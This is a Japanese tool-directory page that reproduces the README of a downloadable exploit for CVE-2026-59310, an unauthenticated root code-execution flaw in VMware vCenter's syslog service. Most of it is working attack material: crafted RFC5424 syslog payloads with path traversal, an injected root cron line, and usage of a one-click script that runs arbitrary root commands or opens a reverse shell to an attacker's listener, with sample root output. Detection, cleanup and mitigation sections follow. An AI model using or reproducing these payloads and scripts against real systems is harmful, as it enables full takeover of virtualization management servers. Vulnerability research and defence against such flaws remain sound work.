Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-59310-POC — CVE-2026-59310 の Python PoC およびエクスプロイト。VMware vCenter の syslog パストラバーサルにより、cron インジェクションを介した未認証の root RCE に至る脆弱性で、検出およびクリーンアップのガイダンスを含む。 | Kitploit
ツール/GitHubGitHub/chinaran0/cve-2026-59310-poc
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトペネトレーションテストレッドチーミングインシデントレスポンスリモートアクセスツールペイロード開発
GitHubchinaran0/cve-2026-59310-poc
122日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-59310-POC

CVE-2026-59310 の Python PoC およびエクスプロイト。VMware vCenter の syslog パストラバーサルにより、cron インジェクションを介した未認証の root RCE に至る脆弱性で、検出およびクリーンアップのガイダンスを含む。

リポジトリを見る

CVE-2026-59310 — VMware vCenter Syslog ディレクトリトラバーサルによる未認証 RCE

免責事項:本プロジェクトは許可されたセキュリティテスト、脆弱性検証、防御研究のみを目的としています。明確な書面による許可を得た環境で使用してください。使用者は乱用によって生じる一切の結果に対して自ら責任を負うものとします。


目次

  • 脆弱性概要
  • 影響を受けるバージョン
  • 脆弱性の原因
  • エクスプロイトチェーン
  • 環境と再現検証
  • スクリプトによる再現
  • 検出と自己診断
  • 修正の推奨事項
  • よくある質問
  • 参考リンク

脆弱性概要

項目内容
脆弱性名VMware vCenter Syslog ディレクトリトラバーサル脆弱性
脆弱性番号CVE-2026-59310
脆弱性タイプディレクトリトラバーサル(Path Traversal)→ 任意ファイル書き込み → リモートコード実行
CVSS 3.19.8(Critical)
悪用の前提条件到達可能な syslog ポート(デフォルト UDP/TCP 514)のみで、認証情報は一切不要
悪用の結果root 権限で任意のパスに書き込み、任意のコードを実行
公開日2026-07-29
野放しでの悪用確認済み
ベンダーアドバイザリVMSA-2026-0006

vCenter に内蔵された syslog 受信サービス(rsyslog)は動的パステンプレートを使用してログを保存し、テンプレートはメッセージヘッダーの APP-NAME、HOSTNAME フィールドをそのままファイルパスに連結し、パスのサニタイズを行っていません。攻撃者が到達可能な syslog ポートに細工したメッセージを送信すると、書き込みパスが所定のログディレクトリから脱出し、さらにスケジュールタスクと組み合わせて任意のコード実行を実現できます。

vCenter は仮想化管理の中枢であり、一度侵害されると vSphere / VCF 環境全体が陥落するのと同義です。


影響を受けるバージョン

影響を受けるバージョン(以下の修正バージョン未満)

同時に影響:スタンドアロンでデプロイされた vCenter、および VMware Cloud Foundation、VMware vSphere Foundation、VMware Telco Cloud で使用される影響を受ける vCenter コンポーネント。

検証済み環境:VMware vCenter Server 9.0.2.0 / Build 25148086、 修正版 25629525 より前であり、未修正状態であることを確認済み。


脆弱性の原因

1. 動的パステンプレートが信頼できないフィールドを直接連結

/etc/rsyslog.conf(VMware 出荷時のデフォルト設定):

root@kitploit:~
29: $template defaultLoc,     "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc,         "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"

%app-name% はディレクトリ名とファイル名の両方に使用され、パスのサニタイズがありません。

2. セレクタが緩すぎる

root@kitploit:~
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt

プレフィックス一致のみを要求するため、攻撃者は rsyslog/... を使うだけでこのルールにヒットし、動的パステンプレートに入り込めます。

3. 改行文字の貫通(RCE の鍵)

root@kitploit:~
24: $EscapeControlCharactersOnReceive off

メッセージ内容の改行がそのままディスクに書き込まれるため、攻撃者は書き込まれるファイルの行構造を制御できます。

4. 核心的なバイパスポイント:RFC3164 と RFC5424 パーサーの動作不一致

これが本脆弱性で最も見落とされやすい点です。

  • RFC3164(pmrfc3164):ホスト名を解析する際に文字ホワイトリストを使用し、/ はデフォルトで許可されないため、 APP-NAME が / の位置で切り捨てられる → トラバーサル不可。
  • RFC5424(pmrfc5424):APP-NAME は独立したスペース区切りフィールドであり、文字ホワイトリスト検証を行わないため、 / と .. がそのまま保持される → トラバーサル可能。

サーバー側の input(type="imudp" port="514") はデフォルトのルールセットを使用し、RFC5424 メッセージも同時に受け付けます。 攻撃者はメッセージを RFC5424 形式で書くだけで、トラバーサル文字がファイルパスに直接到達します。

実測比較(同一ペイロード rsyslog/../../../../tmp/x):

パーサー実際の %app-name% の値
pmrfc3164rsyslog ← / の位置で切り捨て
pmrfc5424rsyslog/../../../../tmp/x ← 完全に保持

傍証:純粋な .. はリテラルなディレクトリ名として作成されます(例:rsyslog..)。これは rsyslog の omfile 層が .. の正規化を行っていないことを示しており、成否を実際に決めるのはパーサーが / をフィールドに送り込めるかどうかです。


エクスプロイトチェーン

root@kitploit:~
① 未認証 UDP パケット  →  ② RFC5424 APP-NAME にトラバーサルを搭載  →  ③ ログディレクトリを脱出して任意書き込み(root)
                                                          ↓
                     ⑤ root コード実行  ←  ④ /etc/cron.d にスケジュールタスクを植え付け

ステップ ①②③:未認証の任意ファイル書き込み(root)

root@kitploit:~
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello

テンプレートに代入:

root@kitploit:~
ディレクトリ = /var/log/vmware/rsyslog/../../../../tmp/PWNED  →  /tmp/PWNED
ファイル     = 同上 + "-syslog.log"                          →  /tmp/PWNED-syslog.log

結果:root 所有者として /tmp/PWNED-syslog.log に書き込み、存在しない親ディレクトリは自動的に作成され、内容は完全に制御可能です。

ステップ ④⑤:ファイル書き込みから RCE へ

書き込まれるファイル名は固定で -syslog.log で終わるため、/etc/cron.d/xxx を直接上書きすることはできません。 しかし改行の貫通を利用して、MSG に改行を注入し、制御可能な内容をファイルの 0 列目から開始させることができます:

root@kitploit:~
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc    ← cron は "bad minute" を報告し、無視
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'             ← 正当な cron 行として実行される
#

crond が root でスケジュール実行し、以下を取得:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

代替の着地パス

  • VAMI 静的リソースディレクトリ:/opt/vmware/share/htdocs/ に書き込み(lighttpd が 5480 で待ち受け)、 その後 https://<target>:5480/... 経由で読み取る。ベンダーアドバイザリの記述と一致。
  • /var/spool/cron/root:このディレクトリに書き込むことは可能だが、root という名前のファイル本体が必要であり、 -syslog.log サフィックスの制限を受けるため、/etc/cron.d/ の方が直接的。

環境と再現検証

検証結果

任意ファイル書き込み(未認証)

root@kitploit:~
$ python3 exploit_cve_2026_59310.py <target> --check
[i] API 名前空間バージョン: 9.0.0.0  (appliance build ではない、フィンガープリントの参考のみ)
[*] APP-NAME    : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] 送信済み。ターゲット上に root 所有のファイルが生成される見込み

# ターゲット上:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log

コマンド実行(root)

root@kitploit:~
$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] 植え付け済み : /etc/cron.d/cve59310<name>-syslog.log
[i] 結果の読み取り : cat /tmp/cve59310_<name>.txt

# 約 60 秒後:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost

インタラクティブなリバースシェル(root)

root@kitploit:~
$ python3 exploit_cve_2026_59310.py <target> --lhost <あなたのIP> --lport 4444
[+] 0.0.0.0:4444 で待ち受け中
[+] 植え付け済み : /etc/cron.d/cve59310<name>-syslog.log
[+] コールバック成功、<target>:56184 から —— root シェルが確立されました

root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root

ターゲット IP、リバースアドレスなどはご自身の許可されたテスト環境に置き換えてください。


スクリプトによる再現

依存関係

  • Python 3.8+(標準ライブラリのみ、サードパーティパッケージ不要)
  • ターゲットの syslog ポートにネットワーク到達可能(デフォルト UDP/514)

ワンクリックエクスプロイトスクリプト exploit_cve_2026_59310.py

root@kitploit:~
# 1) インタラクティブな root リバースシェル(最も一般的)
python3 exploit_cve_2026_59310.py <target> --lhost <あなたのIP> --lport 4444

# 2) 単一コマンドを実行し、出力をターゲットの /tmp/<name>.txt に書き込む
python3 exploit_cve_2026_59310.py <target> -c "id; hostname"

# 3) 非破壊的検証:未認証の任意ファイル書き込みのみを証明
python3 exploit_cve_2026_59310.py <target> --check

# 4) クリーンアップコマンドを表示
python3 exploit_cve_2026_59310.py <target> --cleanup

よく使うパラメータ:

簡易 PoC poc_vcenter_rce.py

root@kitploit:~
python3 poc_vcenter_rce.py <target> --check              # 任意書き込みを検証
python3 poc_vcenter_rce.py <target> --rce "id" --name t  # コマンド実行
python3 poc_vcenter_rce.py <target> --cleanup            # クリーンアップのヒント

生の送信ツール poc_syslog_traversal.py

HOSTNAME / APP-NAME を独立して制御でき、手動でメッセージを構築するために使用:

root@kitploit:~
python3 poc_syslog_traversal.py <target> \
    --tag 'rsyslog/../../../../tmp/test' --msg 'hello'

クリーンアップ

本脆弱性は書き込みプリミティブのみを提供するため、スクリプトがリモートファイルを自ら削除することはできません。クリーンアップはターゲット上で実行する必要があります:

root@kitploit:~
rm -f /etc/cron.d/cve59310*-syslog.log
rm -rf /etc/cron.d/cve59310*
rm -f /tmp/cve59310_* /tmp/cve59310_check_*

検出と自己診断

影響を受ける可能性があるかの判断

root@kitploit:~
# vCenter Shell でバージョンを確認(Build < 25629525 の 9.0 ブランチは未修正)
cat /etc/vmware-release
cat /etc/applmgmt/appliance/version

# 脆弱な動的パステンプレートが存在するか確認
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf

# 改行の貫通が有効か確認
grep -n 'EscapeControlCharactersOnReceive' /etc/rsyslog.conf

侵入痕跡の調査

root@kitploit:~
# 1) /etc/cron.d 配下の異常なファイル(重点:-syslog.log サフィックス付きのエントリ)
ls -la /etc/cron.d/
grep -rl 'syslog.log' /etc/cron.d/ 2>/dev/null

# 2) ログディレクトリ外の疑わしい *-syslog.log ファイル(全ディスクスキャン、最も有効)
find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null

# 3) トラバーサルによって生成された異常なディレクトリ(パスに .. や % などの文字を含むディレクトリに注意)
ls -la / | grep -E '\.\.|%'
ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'

# 4) VAMI 静的ディレクトリに書き込まれた内容
ls -la /opt/vmware/share/htdocs/

# 5) syslog 転送ログ内の hostname の異常(/ や .. を含む APP-NAME)
grep -nE '(\.\./|/)' /var/log/vmware/messages | head

ヒント:2 番目の全ディスクスキャンが最も信頼できる調査手段です。テンプレートが存在しないパスにトラバーサルした場合、 rsyslog は親ディレクトリを自動的に作成するため、/..etc/、/rsyslog../ のような奇形ディレクトリ も明確な侵入痕跡となります。


修正の推奨事項

最優先:修正済みバージョンへのアップグレード

影響を受けるバージョン の表を参照してアップグレードしてください。9.0 ブランチの最低要件は 9.0.2.0100(Build 25629525) です。

一時的な緩和策(すぐにアップグレードできない場合)

  1. RFC5424 の攻撃面を閉じる(最も直接的):514/1514 入力に明示的に pmrfc3164 パーサーをバインドします。

    root@kitploit:~
    parser(name="p3164" type="pmrfc3164")
    input(type="imudp" port="514" ruleset="all" parser="p3164")
    
  2. 明示的なパスのサニタイズ:omfile に securepath="normal" と secpath-drop="replace" を設定します。 上流の rsyslog セキュリティアドバイザリ(GHSA-xmp9-244p-5ggv)は securepath こそが信頼できるパス境界であると明確に述べています。

  3. 改行の貫通を遮断:$EscapeControlCharactersOnReceive on を設定します。

  4. セレクタを厳格化::app-name, startswith, "rsyslog" を完全一致に変更します; ホスト名判定ルールを送信元 IP / ネットワークセグメントのホワイトリストによる判定に変更し、任意の外部送信者が動的パステンプレートに入り込むのを防ぎます。

  5. ネットワーク分離:514/1514 は管理対象の ESXi と信頼されたログフォワーダーのみに開放し、非管理ネットワークからのアクセスを禁止します。

⚠️ 注意:現在 %hostname% パスを防いでいるのは RFC3164 パーサーのデフォルト動作という偶発的な防御層のみであり、 信頼できるセキュリティ境界ではありません。互換性のために permit.slashesinhostname を有効にすると、 同じルールが直ちに悪用可能になります。


よくある質問

Q:ツールが報告するバージョンが 9.0.0.0 で、実際の build と一致しないのはなぜですか?

/sdk/vimServiceVersions.xml が返すのは API 名前空間バージョンであり、appliance build 番号ではありません。 これに基づいて修正済みかどうかを判断することはできません。vCenter Shell で cat /etc/vmware-release を使用して実際の build を確認してください。

Q:コマンド実行後に結果が読み取れない?

crond は毎分スケジュールされるため、通常は約 60 秒待つ必要があります。また、本脆弱性には書き込みプリミティブしかなく、 スクリプトが能動的にファイルを読み戻すことはできないため、ターゲット上で cat /tmp/cve59310_<name>.txt を実行する必要があります。 --read-cmd で外部読み取りコマンド(例:ssh root@target cat {path})を渡すこともできます。

Q:リバースシェルがコールバックしない?

よくある原因:ターゲットが攻撃マシンにアクセスできない(ファイアウォール / NAT / ネットワークセグメント分離);crond がまだトリガーされていない (--timeout を増やせます);待ち受けポートが開放されていない。--method python でフォールバック実装に切り替えられます。

Q:-c "a; b" で一部の出力しか得られないのはなぜですか?

修正済みです。スクリプトは { cmd; } > file 2>&1 のグループリダイレクトを使用し、 コマンドシーケンス全体の出力が確実にキャプチャされるようにしています(a; b > file は最後の 1 つしかリダイレクトされません)。


参考リンク

  • ベンダーアドバイザリ VMSA-2026-0006:https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017
  • 技術分析(Mobeta):https://mobeta.fr/blog/vcenter-cve-2026-59309-cve-2026-59310/
  • rsyslog omfile dynaFile 堅牢化アドバイザリ(GHSA-xmp9-244p-5ggv):https://github.com/rsyslog/rsyslog/security/advisories/GHSA-xmp9-244p-5ggv
  • vCenter 9.0.2.0100 リリースノート:https://techdocs.broadcom.com/us/en/vmware-cis/vcf/vcf-9-0-and-later/9-0/release-notes/patch-releases-9-0-0-x/vsphere/vcenter/vcenter-9-0-2-0100-release-notes.html
ツールをダウンロード
ブランチ影響範囲修正バージョン
9.1< 9.1.0.03009.1.0.0300
9.0< 9.0.2.01009.0.2.0100(Build 25629525)
8.0 U3< 8.0 U3k8.0 U3k
8.0 U2< 8.0 U2f8.0 U2f
8.0 初期版 / U1すべてサポート対象パスに従い 8.0 U3k 以降へアップグレード
7.0対応する拡張サポートパッチが未適用Broadcom に連絡してパッチを入手、またはサポート対象バージョンへ移行
項目値
ターゲットVMware vCenter Server 9.0.2.0、Build 25148086
修正バージョン9.0.2.0100、Build 25629525
rsyslog8.2306.0-4.ph5(VMware カスタムパッケージ)
syslog ポートUDP/TCP 514、TCP 1514(TLS)
認証要件なし
パラメータ説明
--portsyslog ポート、デフォルト 514
--tcpUDP ではなく TCP を使用
--lhost / --lportリバースシェルのコールバックアドレス / ポート
--method {bash,python}リバース方式、デフォルト bash(/dev/tcp)
--name単一実行の一意な識別子、デフォルトはランダム
--timeout実行/コールバックを待つ秒数、デフォルト 180
-qbanner を表示しない